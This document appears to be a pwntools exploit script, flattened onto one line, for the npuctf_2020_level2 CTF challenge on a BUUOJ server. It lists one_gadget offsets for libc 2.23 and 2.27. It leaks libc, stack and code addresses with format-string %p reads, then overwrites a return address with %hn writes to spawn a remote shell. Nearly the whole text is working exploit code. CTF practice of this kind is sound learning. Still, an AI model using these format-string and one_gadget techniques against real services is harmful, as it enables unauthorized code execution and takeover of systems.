1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * context.log_level='debug' context.arch='amd64' context.os='linux' libc_version='2.27' ''' 2.23 64 libc的one_gadget条件分别是rax,[rsp+0x30,+0x50,+0x70]==NULL 2.27 64 libc的one_gadget条件分别是rsp&0xf==0&&rcx==0 || [rsp+0x40,+0x70]==NULL ''' one_2_23_32=[0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6] one_2_23_64=[0x45226,0x4527a,0xf03a4,0xf1247] one_2_23_buu32=[0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066] one_2_23_buu64=[0x45216,0x4526a,0xf02a4,0xf1147] one_2_27_32=[0x3d123,0x3d125,0x3d129,0x3d130,0x67b4f,0x67b50,0x1380be,0x1380bf] one_2_27_64=[0x4f365,0x4f3c2,0x10a45c] one_2_27_buu32=[0x3cbea,0x3cbec,0x3cbf0,0x3cbf7,0x6729f,0x672a0,0x13573e,0x13573f] one_2_27_buu64=[0x4f2c5,0x4f322,0x10a38c] one=[] def conn(x,file_name,port=9999,ip='node4.buuoj.cn'): global one bit=0 if context.arch=='amd64':bit=64 else:bit=32 one=eval('one_'+libc_version.replace('.','_')+'_'+(not x)*'buu'+str(bit)) libc='./libc/libc-'+libc_version+'-'+(not x)*'buu'+str(bit)+'.so' if x: p=process(file_name) else: context.log_level=20 p=remote(ip,port) return ELF(file_name),ELF(libc),p
def show(): p.sendlineafter(b'choice: ',b'1')
def add(size,payload): p.sendlineafter(b'choice: ',b'2') p.sendlineafter(b'note: ',str(size)) p.sendafter(b'note: ',payload)
def edit(index,length,payload): p.sendlineafter(b'choice: ',b'3') p.sendlineafter(b'number: ',str(index)) p.sendlineafter(b'note: ',str(length)) p.sendafter(b'note: ',payload)
def free(index): p.sendlineafter(b'choice: ',b'4') p.sendlineafter(b'number: ',str(index))
elf,libc,p=conn(0,'./npuctf_2020_level2',port=26764)
p.send(b'%7$p\n%9$p\n%11$p\n')
p.recvuntil(b'0x') libc_addr=int(p.recvline()[:-1],16)-0x21b97 p.recvuntil(b'0x') stack_addr=int(p.recvline()[:-1],16)-0xe0 p.recvuntil(b'0x') code_addr=int(p.recvline()[:-1],16)-0x79a
success('libc_addr:'+hex(libc_addr)) success('stack_addr:'+hex(stack_addr)) success('code_addr:'+hex(code_addr))
shell=libc_addr+one[0] success('shell:'+hex(shell)) for i in range(0,6,2): if i==8:break payload=b'%'+str((stack_addr&0xffff)+i).encode()+b'c%9$hn\n\0' p.send(payload) p.recvline() val=shell&0xffff payload=b'%'+str(val).encode()+b'c%35$hn\n\0' p.send(payload) p.recvline() gdb.attach(p) success('debug:'+hex(val)) shell>>=16 success('one:'+hex(libc_addr+one[0]))
p.send('66666666\0')
p.interactive()
|